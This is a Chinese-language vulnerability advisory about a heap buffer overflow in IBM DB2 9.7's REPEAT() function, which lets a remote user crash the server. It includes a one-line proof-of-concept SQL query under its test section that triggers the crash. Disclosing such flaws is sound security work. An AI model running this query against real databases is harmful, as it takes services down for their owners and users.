漏洞起因
边界条件错误
危险等级
中
影响系统
IBM DB2 Universal Database 9.7.1
IBM DB2 Universal Database 9.7
不受影响系统
危害
远程攻击者可以利用漏洞使服务程序崩溃。
攻击所需条件
攻击者必须访问IBM DB2。
漏洞信息
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。
IBM DB2 repeat()函数存在堆缓冲区溢出,远程攻击者可以利用漏洞使服务程序崩溃。
测试方法
$ db2
(c) Copyright IBM Corporation 1993,2007
Command Line Processor for DB2 Client 9.7.1
db2 => connect to sample
Database Connection Information
Database server = DB2/LINUX 9.7.1
SQL authorization ID = DB2INST1
Local database alias = SAMPLE
db2 => SELECT REPEAT(REPEAT(‘1’,1000),1073741825) FROM SYSIBM.SYSDUMMY1
厂商解决方案
目前没有解决方案提供:
http://www-306.ibm.com/software/data/db2/
漏洞提供者
Evgeny Legerov
0 条评论。